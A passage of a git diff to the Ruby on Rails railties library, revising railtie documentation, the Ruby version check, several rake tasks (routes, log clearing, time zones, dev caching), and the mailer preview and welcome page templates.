tags, logs the request, calls the app, and flushes the logs. + # + # Log tags (+taggers+) can be an Array containing: methods that the +request+ + # object responds to, objects that respond to +to_s+ or Proc objects that accept + # an instance of the +request+ object. class Logger < ActiveSupport::LogSubscriber def initialize(app, taggers = nil) @app = app @@ -26,12 +30,6 @@ module Rails protected def call_app(request, env) - # Put some space between requests in development logs. - if development? - logger.debug '' - logger.debug '' - end - instrumenter = ActiveSupport::Notifications.instrumenter instrumenter.start 'request.action_dispatch', request: request logger.info { started_request_message(request) } @@ -74,10 +72,6 @@ module Rails instrumenter.finish 'request.action_dispatch', request: request end - def development? - Rails.env.development? - end - def logger Rails.logger end diff --git a/railties/lib/rails/railtie.rb b/railties/lib/rails/railtie.rb index 8c24d1d56d..492c519222 100644 --- a/railties/lib/rails/railtie.rb +++ b/railties/lib/rails/railtie.rb @@ -1,38 +1,37 @@ require 'rails/initializable' -require 'rails/configuration' require 'active_support/inflector' require 'active_support/core_ext/module/introspection' require 'active_support/core_ext/module/delegation' module Rails - # Railtie is the core of the Rails framework and provides several hooks to extend - # Rails and/or modify the initialization process. + # <tt>Rails::Railtie</tt> is the core of the Rails framework and provides + # several hooks to extend Rails and/or modify the initialization process. # - # Every major component of Rails (Action Mailer, Action Controller, - # Action View and Active Record) is a Railtie. Each of - # them is responsible for their own initialization. This makes Rails itself - # absent of any component hooks, allowing other components to be used in - # place of any of the Rails defaults. + # Every major component of Rails (Action Mailer, Action Controller, Active + # Record, etc.) implements a railtie. Each of them is responsible for their + # own initialization. This makes Rails itself absent of any component hooks, + # allowing other components to be used in place of any of the Rails defaults. # - # Developing a Rails extension does _not_ require any implementation of - # Railtie, but if you need to interact with the Rails framework during - # or after boot, then Railtie is needed. + # Developing a Rails extension does _not_ require implementing a railtie, but + # if you need to interact with the Rails framework during or after boot, then + # a railtie is needed. # - # For example, an extension doing any of the following would require Railtie: + # For example, an extension doing any of the following would need a railtie: # # * creating initializers # * configuring a Rails framework for the application, like setting a generator # * adding <tt>config.*</tt> keys to the environment - # * setting up a subscriber with ActiveSupport::Notifications - # * adding rake tasks + # * setting up a subscriber with <tt>ActiveSupport::Notifications</tt> + # * adding Rake tasks # - # == Creating your Railtie + # == Creating a Railtie # - # To extend Rails using Railtie, create a Railtie class which inherits - # from Rails::Railtie within your extension's namespace. This class must be - # loaded during the Rails boot process. + # To extend Rails using a railtie, create a subclass of <tt>Rails::Railtie</tt>. + # This class must be loaded during the Rails boot process, and is conventionally + # called <tt>MyNamespace::Railtie</tt>. # - # The following example demonstrates an extension which can be used with or without Rails. + # The following example demonstrates an extension which can be used with or + # without Rails. # # # lib/my_gem/railtie.rb # module MyGem @@ -45,8 +44,8 @@ module Rails # # == Initializers # - # To add an initialization step from your Railtie to Rails boot process, you just need - # to create an initializer block: + # To add an initialization step to the Rails boot process from your railtie, just + # define the initialization code with the +initializer+ macro: # # class MyRailtie < Rails::Railtie # initializer "my_railtie.configure_rails_initialization" do @@ -55,7 +54,7 @@ module Rails # end # # If specified, the block can also receive the application object, in case you - # need to access some application specific configuration, like middleware: + # need to access some application-specific configuration, like middleware: # # class MyRailtie < Rails::Railtie # initializer "my_railtie.configure_rails_initialization" do |app| @@ -63,56 +62,56 @@ module Rails # end # end # - # Finally, you can also pass <tt>:before</tt> and <tt>:after</tt> as option to initializer, - # in case you want to couple it with a specific step in the initialization process. + # Finally, you can also pass <tt>:before</tt> and <tt>:after</tt> as options to + # +initializer+, in case you want to couple it with a specific step in the + # initialization process. # # == Configuration # - # Inside the Railtie class, you can access a config object which contains configuration - # shared by all railties and the application: + # Railties can access a config object which contains configuration shared by all + # railties and the application: # # class MyRailtie < Rails::Railtie # # Customize the ORM # config.app_generators.orm :my_railtie_orm # # # Add a to_prepare block which is executed once in production - # # and before each request in development + # # and before each request in development. # config.to_prepare do # MyRailtie.setup! # end # end # - # == Loading rake tasks and generators + # == Loading Rake Tasks and Generators # - # If your railtie has rake tasks, you can tell Rails to load them through the method - # rake_tasks: + # If your railtie has Rake tasks, you can tell Rails to load them through the method + # +rake_tasks+: # # class MyRailtie < Rails::Railtie # rake_tasks do - # load "path/to/my_railtie.tasks" + # load 'path/to/my_railtie.tasks' # end # end # # By default, Rails loads generators from your load path. However, if you want to place - # your generators at a different location, you can specify in your Railtie a block which + # your generators at a different location, you can specify in your railtie a block which # will load them during normal generators lookup: # # class MyRailtie < Rails::Railtie # generators do - # require "path/to/my_railtie_generator" + # require 'path/to/my_railtie_generator' # end # end # # == Application and Engine # - # A Rails::Engine is nothing more than a Railtie with some initializers already set. - # And since Rails::Application is an engine, the same configuration described here - # can be used in both. + # An engine is nothing more than a railtie with some initializers already set. And since + # <tt>Rails::Application</tt> is an engine, the same configuration described here can be + # used in both. # # Be sure to look at the documentation of those specific classes for more information. - # class Railtie - autoload :Configuration, "rails/railtie/configuration" + autoload :Configuration, 'rails/railtie/configuration' include Initializable @@ -183,7 +182,7 @@ module Rails end protected - def generate_railtie_name(string) + def generate_railtie_name(string) #:nodoc: ActiveSupport::Inflector.underscore(string).tr("/", "_") end @@ -200,21 +199,24 @@ module Rails delegate :railtie_name, to: :class - def initialize + def initialize #:nodoc: if self.class.abstract_railtie? raise "#{self.class.name} is abstract, you cannot instantiate it directly." end end - def configure(&block) + def configure(&block) #:nodoc: instance_eval(&block) end + # This is used to create the <tt>config</tt> object on Railties, an instance of + # Railtie::Configuration, that is used by Railties and Application to store + # related configuration. def config @config ||= Railtie::Configuration.new end - def railtie_namespace + def railtie_namespace #:nodoc: @railtie_namespace ||= self.class.parents.detect { |n| n.respond_to?(:railtie_namespace) } end diff --git a/railties/lib/rails/ruby_version_check.rb b/railties/lib/rails/ruby_version_check.rb index 9131c51e91..67a19d8a94 100644 --- a/railties/lib/rails/ruby_version_check.rb +++ b/railties/lib/rails/ruby_version_check.rb @@ -1,13 +1,13 @@ -if RUBY_VERSION < '2.2.1' && RUBY_ENGINE == 'ruby' +if RUBY_VERSION < '2.2.2' && RUBY_ENGINE == 'ruby' desc = defined?(RUBY_DESCRIPTION) ? RUBY_DESCRIPTION : "ruby #{RUBY_VERSION} (#{RUBY_RELEASE_DATE})" abort <<-end_message - Rails 5 requires to run on Ruby 2.2.1 or newer. + Rails 5 requires Ruby 2.2.2 or newer. You're running #{desc} - Please upgrade to Ruby 2.2.1 or newer to continue. + Please upgrade to Ruby 2.2.2 or newer to continue. end_message end diff --git a/railties/lib/rails/source_annotation_extractor.rb b/railties/lib/rails/source_annotation_extractor.rb index 9b058a1848..8dd87b6cc5 100644 --- a/railties/lib/rails/source_annotation_extractor.rb +++ b/railties/lib/rails/source_annotation_extractor.rb @@ -3,7 +3,7 @@ # rake notes # rake notes:optimize # -# and friends. See <tt>rake -T notes</tt> and <tt>railties/lib/tasks/annotations.rake</tt>. +# and friends. See <tt>rake -T notes</tt> and <tt>railties/lib/rails/tasks/annotations.rake</tt>. # # Annotation objects are triplets <tt>:line</tt>, <tt>:tag</tt>, <tt>:text</tt> that # represent the line where the annotation lives, its tag, and its text. Note diff --git a/railties/lib/rails/tasks.rb b/railties/lib/rails/tasks.rb index 5dfc96894c..d3e33584d7 100644 --- a/railties/lib/rails/tasks.rb +++ b/railties/lib/rails/tasks.rb @@ -3,15 +3,17 @@ require 'rake' # Load Rails Rakefile extensions %w( annotations + dev framework - initializer + initializers log middleware misc restart routes - statistics tmp -).each do |task| +).tap { |arr| + arr << 'statistics' if Rake.application.current_scope.empty? +}.each do |task| load "rails/tasks/#{task}.rake" end diff --git a/railties/lib/rails/tasks/dev.rake b/railties/lib/rails/tasks/dev.rake new file mode 100644 index 0000000000..d2ceaacc0c --- /dev/null +++ b/railties/lib/rails/tasks/dev.rake @@ -0,0 +1,8 @@ +require 'rails/dev_caching' + +namespace :dev do + desc 'Toggle development mode caching on/off' + task :cache do + Rails::DevCaching.enable_by_file + end +end diff --git a/railties/lib/rails/tasks/engine.rake b/railties/lib/rails/tasks/engine.rake index 16ad1bfc84..e678103f63 100644 --- a/railties/lib/rails/tasks/engine.rake +++ b/railties/lib/rails/tasks/engine.rake @@ -4,8 +4,8 @@ task "load_app" do end task :environment => "app:environment" - if !defined?(ENGINE_PATH) || !ENGINE_PATH - ENGINE_PATH = find_engine_path(APP_RAKEFILE) + if !defined?(ENGINE_ROOT) || !ENGINE_ROOT + ENGINE_ROOT = find_engine_path(APP_RAKEFILE) end end @@ -40,7 +40,7 @@ namespace :db do desc "Rolls the schema back to the previous version (specify steps w/ STEP=n)." app_task "rollback" - desc "Create a db/schema.rb file that can be portably used against any DB supported by AR" + desc "Create a db/schema.rb file that can be portably used against any DB supported by Active Record" app_task "schema:dump" desc "Load a schema.rb file into the database" diff --git a/railties/lib/rails/tasks/framework.rake b/railties/lib/rails/tasks/framework.rake index a1c805f8aa..3e771167ee 100644 --- a/railties/lib/rails/tasks/framework.rake +++ b/railties/lib/rails/tasks/framework.rake @@ -1,4 +1,6 @@ -namespace :rails do +require 'active_support/deprecation' + +namespace :app do desc "Update configs and some other initially generated files (or use just update:configs or update:bin)" task update: [ "update:configs", "update:bin" ] @@ -24,43 +26,58 @@ namespace :rails do default_templates.each do |type, names| local_template_type_dir = File.join(project_templates, type) - FileUtils.mkdir_p local_template_type_dir + mkdir_p local_template_type_dir, verbose: false names.each do |name| dst_name = File.join(local_template_type_dir, name) src_name = File.join(generators_lib, type, name, "templates") - FileUtils.cp_r src_name, dst_name + cp_r src_name, dst_name, verbose: false end end - end + end end namespace :update do - def invoke_from_app_generator(method) - app_generator.send(method) - end + class RailsUpdate + def self.invoke_from_app_generator(method) + app_generator.send(method) + end - def app_generator - @app_generator ||= begin - require 'rails/generators' - require 'rails/generators/rails/app/app_generator' - gen = Rails::Generators::AppGenerator.new ["rails"], { with_dispatchers: true }, - destination_root: Rails.root - File.exist?(Rails.root.join("config", "application.rb")) ? - gen.send(:app_const) : gen.send(:valid_const?) - gen + def self.app_generator + @app_generator ||= begin + require 'rails/generators' + require 'rails/generators/rails/app/app_generator' + gen = Rails::Generators::AppGenerator.new ["rails"], + { api: !!Rails.application.config.api_only }, + destination_root: Rails.root + File.exist?(Rails.root.join("config", "application.rb")) ? + gen.send(:app_const) : gen.send(:valid_const?) + gen + end end end # desc "Update config/boot.rb from your current rails install" task :configs do - invoke_from_app_generator :create_boot_file - invoke_from_app_generator :update_config_files + RailsUpdate.invoke_from_app_generator :create_boot_file + RailsUpdate.invoke_from_app_generator :update_config_files end # desc "Adds new executables to the application bin/ directory" task :bin do - invoke_from_app_generator :create_bin_files + RailsUpdate.invoke_from_app_generator :create_bin_files + end + end +end + +namespace :rails do + %i(update template templates:copy update:configs update:bin).each do |task_name| + task "#{task_name}" do + ActiveSupport::Deprecation.warn(<<-MSG.squish) + Running #{task_name} with the rails: namespace is deprecated in favor of app: namespace. + Run bin/rails app:#{task_name} instead. + MSG + Rake.application.invoke_task("app:#{task_name}") end end end diff --git a/railties/lib/rails/tasks/initializer.rake b/railties/lib/rails/tasks/initializer.rake deleted file mode 100644 index 83b9dc6b71..0000000000 --- a/railties/lib/rails/tasks/initializer.rake +++ /dev/null @@ -1,6 +0,0 @@ -desc "Prints out initializers for your application" -task initializer: :environment do - Rails.application.initializers.tsort_each do |initializer| - puts initializer.name - end -end diff --git a/railties/lib/rails/tasks/initializers.rake b/railties/lib/rails/tasks/initializers.rake new file mode 100644 index 0000000000..2968b5cb53 --- /dev/null +++ b/railties/lib/rails/tasks/initializers.rake @@ -0,0 +1,6 @@ +desc "Print out all defined initializers in the order they are invoked by Rails." +task initializers: :environment do + Rails.application.initializers.tsort_each do |initializer| + puts initializer.name + end +end diff --git a/railties/lib/rails/tasks/log.rake b/railties/lib/rails/tasks/log.rake index 877f175ef3..073f235ec5 100644 --- a/railties/lib/rails/tasks/log.rake +++ b/railties/lib/rails/tasks/log.rake @@ -1,5 +1,12 @@ namespace :log do - desc "Truncates all *.log files in log/ to zero bytes (specify which logs with LOGS=test,development)" + + ## + # Truncates all/specified log files + # ENV['LOGS'] + # - defaults to standard environment log files i.e. 'development,test,production' + # - ENV['LOGS']=all truncates all files i.e. log/*.log + # - ENV['LOGS']='test,development' truncates only specified files + desc "Truncates all/specified *.log files in log/ to zero bytes (specify which logs with LOGS=test,development)" task :clear do log_files.each do |file| clear_log_file(file) @@ -7,15 +14,21 @@ namespace :log do end def log_files - if ENV['LOGS'] - ENV['LOGS'].split(',') - .map { |file| "log/#{file.strip}.log" } - .select { |file| File.exist?(file) } - else + if ENV['LOGS'] == 'all' FileList["log/*.log"] + elsif ENV['LOGS'] + log_files_to_truncate(ENV['LOGS']) + else + log_files_to_truncate("development,test,production") end end + def log_files_to_truncate(envs) + envs.split(',') + .map { |file| "log/#{file.strip}.log" } + .select { |file| File.exist?(file) } + end + def clear_log_file(file) f = File.open(file, "w") f.close diff --git a/railties/lib/rails/tasks/misc.rake b/railties/lib/rails/tasks/misc.rake index 4195106961..e6b13cc077 100644 --- a/railties/lib/rails/tasks/misc.rake +++ b/railties/lib/rails/tasks/misc.rake @@ -10,29 +10,46 @@ task about: :environment do end namespace :time do + desc 'List all time zones, list by two-letter country code (`rails time:zones[US]`), or list by UTC offset (`rails time:zones[-8]`)' + task :zones, :country_or_offset do |t, args| + zones, offset = ActiveSupport::TimeZone.all, nil + + if country_or_offset = args[:country_or_offset] + begin + zones = ActiveSupport::TimeZone.country_zones(country_or_offset) + rescue TZInfo::InvalidCountryCode + offset = country_or_offset + end + end + + build_time_zone_list zones, offset + end + namespace :zones do - desc 'Displays all time zones, also available: time:zones:us, time:zones:local -- filter with OFFSET parameter, e.g., OFFSET=-6' + # desc 'Displays all time zones, also available: time:zones:us, time:zones:local -- filter with OFFSET parameter, e.g., OFFSET=-6' task :all do - build_time_zone_list(:all) + build_time_zone_list ActiveSupport::TimeZone.all end # desc 'Displays names of US time zones recognized by the Rails TimeZone class, grouped by offset. Results can be filtered with optional OFFSET parameter, e.g., OFFSET=-6' task :us do - build_time_zone_list(:us_zones) + build_time_zone_list ActiveSupport::TimeZone.us_zones end # desc 'Displays names of time zones recognized by the Rails TimeZone class with the same offset as the system local time' task :local do require 'active_support' require 'active_support/time' + jan_offset = Time.now.beginning_of_year.utc_offset jul_offset = Time.now.beginning_of_year.change(month: 7).utc_offset offset = jan_offset < jul_offset ? jan_offset : jul_offset - build_time_zone_list(:all, offset) + + build_time_zone_list(ActiveSupport::TimeZone.all, offset) end # to find UTC -06:00 zones, OFFSET can be set to either -6, -6:00 or 21600 - def build_time_zone_list(method, offset = ENV['OFFSET']) + def build_time_zone_list(zones, offset = ENV['OFFSET']) require 'active_support' require 'active_support/time' if offset @@ -47,7 +64,7 @@ namespace :time do end end previous_offset = nil - ActiveSupport::TimeZone.__send__(method).each do |zone| + zones.each do |zone| if offset.nil? || offset == zone.utc_offset puts "\n* UTC #{zone.formatted_offset} *" unless zone.utc_offset == previous_offset puts zone.name diff --git a/railties/lib/rails/tasks/restart.rake b/railties/lib/rails/tasks/restart.rake index 1e8940b675..3f98cbe51f 100644 --- a/railties/lib/rails/tasks/restart.rake +++ b/railties/lib/rails/tasks/restart.rake @@ -1,4 +1,8 @@ -desc "Restart app by touching tmp/restart.txt" +desc 'Restart app by touching tmp/restart.txt' task :restart do - FileUtils.touch('tmp/restart.txt') + verbose(false) do + mkdir_p 'tmp' + touch 'tmp/restart.txt' + rm_f 'tmp/pids/server.pid' + end end diff --git a/railties/lib/rails/tasks/routes.rake b/railties/lib/rails/tasks/routes.rake index 1815c2fdc7..ff7233cae9 100644 --- a/railties/lib/rails/tasks/routes.rake +++ b/railties/lib/rails/tasks/routes.rake @@ -1,7 +1,38 @@ -desc 'Print out all defined routes in match order, with names. Target specific controller with CONTROLLER=x.' +require 'active_support/deprecation' +require 'active_support/core_ext/string/strip' # for strip_heredoc +require 'optparse' + +desc 'Print out all defined routes in match order, with names. Target specific controller with -c option, or grep routes using -g option' task routes: :environment do all_routes = Rails.application.routes.routes require 'action_dispatch/routing/inspector' inspector = ActionDispatch::Routing::RoutesInspector.new(all_routes) - puts inspector.format(ActionDispatch::Routing::ConsoleFormatter.new, ENV['CONTROLLER']) + if ARGV.any?{ |argv| argv.start_with? 'CONTROLLER' } + puts <<-eow.strip_heredoc + Passing `CONTROLLER` to `bin/rails routes` is deprecated and will be removed in Rails 5.1. + Please use `bin/rails routes -c controller_name` instead. + eow + end + + routes_filter = nil + routes_filter = { controller: ENV['CONTROLLER'] } if ENV['CONTROLLER'] + + OptionParser.new do |opts| + opts.banner = "Usage: rails routes [options]" + + Rake.application.standard_rake_options.each { |args| opts.on(*args) } + + opts.on("-c CONTROLLER") do |controller| + routes_filter = { controller: controller } + end + + opts.on("-g PATTERN") do |pattern| + routes_filter = pattern + end + + end.parse!(ARGV.reject { |x| x == "routes" }) + + puts inspector.format(ActionDispatch::Routing::ConsoleFormatter.new, routes_filter) + + exit 0 # ensure extra arguments aren't interpreted as Rake tasks end diff --git a/railties/lib/rails/tasks/statistics.rake b/railties/lib/rails/tasks/statistics.rake index 735c36eb3a..3e40d3b037 100644 --- a/railties/lib/rails/tasks/statistics.rake +++ b/railties/lib/rails/tasks/statistics.rake @@ -7,8 +7,10 @@ STATS_DIRECTORIES = [ %w(Jobs app/jobs), %w(Models app/models), %w(Mailers app/mailers), + %w(Channels app/channels), %w(Javascripts app/assets/javascripts), %w(Libraries lib/), + %w(Tasks lib/tasks), %w(APIs app/apis), %w(Controller\ tests test/controllers), %w(Helper\ tests test/helpers), diff --git a/railties/lib/rails/tasks/tmp.rake b/railties/lib/rails/tasks/tmp.rake index 9162ef234a..c74a17a0ca 100644 --- a/railties/lib/rails/tasks/tmp.rake +++ b/railties/lib/rails/tasks/tmp.rake @@ -5,9 +5,7 @@ namespace :tmp do tmp_dirs = [ 'tmp/cache', 'tmp/sockets', 'tmp/pids', - 'tmp/cache/assets/development', - 'tmp/cache/assets/test', - 'tmp/cache/assets/production' ] + 'tmp/cache/assets' ] tmp_dirs.each { |d| directory d } @@ -17,21 +15,21 @@ namespace :tmp do namespace :cache do # desc "Clears all files and directories in tmp/cache" task :clear do - FileUtils.rm_rf(Dir['tmp/cache/[^.]*']) + rm_rf Dir['tmp/cache/[^.]*'], verbose: false end end namespace :sockets do # desc "Clears all files in tmp/sockets" task :clear do - FileUtils.rm(Dir['tmp/sockets/[^.]*']) + rm Dir['tmp/sockets/[^.]*'], verbose: false end end namespace :pids do # desc "Clears all files in tmp/pids" task :clear do - FileUtils.rm(Dir['tmp/pids/[^.]*']) + rm Dir['tmp/pids/[^.]*'], verbose: false end end end diff --git a/railties/lib/rails/templates/rails/mailers/email.html.erb b/railties/lib/rails/templates/rails/mailers/email.html.erb index 0b08a01896..fed96fbc85 100644 --- a/railties/lib/rails/templates/rails/mailers/email.html.erb +++ b/railties/lib/rails/templates/rails/mailers/email.html.erb @@ -39,6 +39,10 @@ padding: 1px; } + dd:empty:before { + content: "\00a0"; // + } + iframe { border: 0; width: 100%; @@ -84,22 +88,43 @@ <% unless @email.attachments.nil? || @email.attachments.empty? %> <dt>Attachments:</dt> <dd> - <%= @email.attachments.map { |a| a.respond_to?(:original_filename) ? a.original_filename : a.filename }.inspect %> + <%= @email.attachments.map { |a| a.respond_to?(:original_filename) ? a.original_filename : a.filename }.join(', ') %> </dd> <% end %> <% if @email.multipart? %> <dd> - <select onchange="document.getElementsByName('messageBody')[0].src=this.options[this.selectedIndex].value;"> - <option <%= request.format == Mime::HTML ? 'selected' : '' %> value="?part=text%2Fhtml">View as HTML email</option> - <option <%= request.format == Mime::TEXT ? 'selected' : '' %> value="?part=text%2Fplain">View as plain-text email</option> + <select onchange="formatChanged(this);"> + <option <%= request.format == Mime[:html] ? 'selected' : '' %> value="?part=text%2Fhtml">View as HTML email</option> + <option <%= request.format == Mime[:text] ? 'selected' : '' %> value="?part=text%2Fplain">View as plain-text email</option> </select> </dd> <% end %> </dl> </header> -<iframe seamless name="messageBody" src="?part=<%= Rack::Utils.escape(@part.mime_type) %>"></iframe> +<% if @part && @part.mime_type %> + <iframe seamless name="messageBody" src="?part=<%= Rack::Utils.escape(@part.mime_type) %>"></iframe> +<% else %> + <p> + You are trying to preview an email that does not have any content. + This is probably because the <em>mail</em> method has not been called in <em><%= @preview.preview_name %>#<%= @email_action %></em>. + </p> +<% end %> + +<script> + function formatChanged(form) { + var part_name = form.options[form.selectedIndex].value + var iframe =document.getElementsByName('messageBody')[0]; + iframe.contentWindow.location.replace(part_name); + + if (history.replaceState) { + var url = location.pathname.replace(/\.(txt|html)$/, ''); + var format = /html/.test(part_name) ? '.html' : '.txt'; + window.history.replaceState({}, '', url + format); + } + } +</script> </body> </html> diff --git a/railties/lib/rails/templates/rails/mailers/index.html.erb b/railties/lib/rails/templates/rails/mailers/index.html.erb index c4c9757d57..000930c039 100644 --- a/railties/lib/rails/templates/rails/mailers/index.html.erb +++ b/railties/lib/rails/templates/rails/mailers/index.html.erb @@ -1,8 +1,8 @@ <% @previews.each do |preview| %> -<h3><%= link_to preview.preview_name.titleize, "/rails/mailers/#{preview.preview_name}" %></h3> +<h3><%= link_to preview.preview_name.titleize, url_for(controller: "rails/mailers", action: "preview", path: preview.preview_name) %></h3> <ul> <% preview.emails.each do |email| %> -<li><%= link_to email, "/rails/mailers/#{preview.preview_name}/#{email}" %></li> +<li><%= link_to email, url_for(controller: "rails/mailers", action: "preview", path: "#{preview.preview_name}/#{email}") %></li> <% end %> </ul> <% end %> diff --git a/railties/lib/rails/templates/rails/mailers/mailer.html.erb b/railties/lib/rails/templates/rails/mailers/mailer.html.erb index 607c8d1677..c12ead0f90 100644 --- a/railties/lib/rails/templates/rails/mailers/mailer.html.erb +++ b/railties/lib/rails/templates/rails/mailers/mailer.html.erb @@ -1,6 +1,6 @@ <h3><%= @preview.preview_name.titleize %></h3> <ul> <% @preview.emails.each do |email| %> -<li><%= link_to email, "/rails/mailers/#{@preview.preview_name}/#{email}" %></li> +<li><%= link_to email, url_for(controller: "rails/mailers", action: "preview", path: "#{@preview.preview_name}/#{email}") %></li> <% end %> </ul> diff --git a/railties/lib/rails/templates/rails/welcome/index.html.erb b/railties/lib/rails/templates/rails/welcome/index.html.erb index 6726c23fc9..5cdb7e6a20 100644 --- a/railties/lib/rails/templates/rails/welcome/index.html.erb +++ b/railties/lib/rails/templates/rails/welcome/index.html.erb @@ -1,261 +1,64 @@ <!DOCTYPE html> <html> - <head> - <title>Ruby on Rails: Welcome aboard</title> - <style media="screen"> - body { - margin: 0; - margin-bottom: 25px; - padding: 0; - background-color: #f0f0f0; - font-family: "Lucida Grande", "Bitstream Vera Sans", "Verdana"; - font-size: 13px; - color: #333; - } - - h1 { - font-size: 28px; - color: #000; - } - - a {color: #03c} - - a:hover { - background-color: #03c; - color: white; - text-decoration: none; - } - - #page { - background-color: #f0f0f0; - width: 750px; - margin: 0; - margin-left: auto; - margin-right: auto; - } - - #content { - float: left; - background-color: white; - border: 3px solid #aaa; - border-top: none; - padding: 25px; - width: 500px; - } - - #sidebar { - float: right; - width: 175px; - } - - #footer { - clear: both; - } - - #header, #about, #getting-started { - padding-left: 75px; - padding-right: 30px; - } - - #header { - background-image: url(data:image/png;base64,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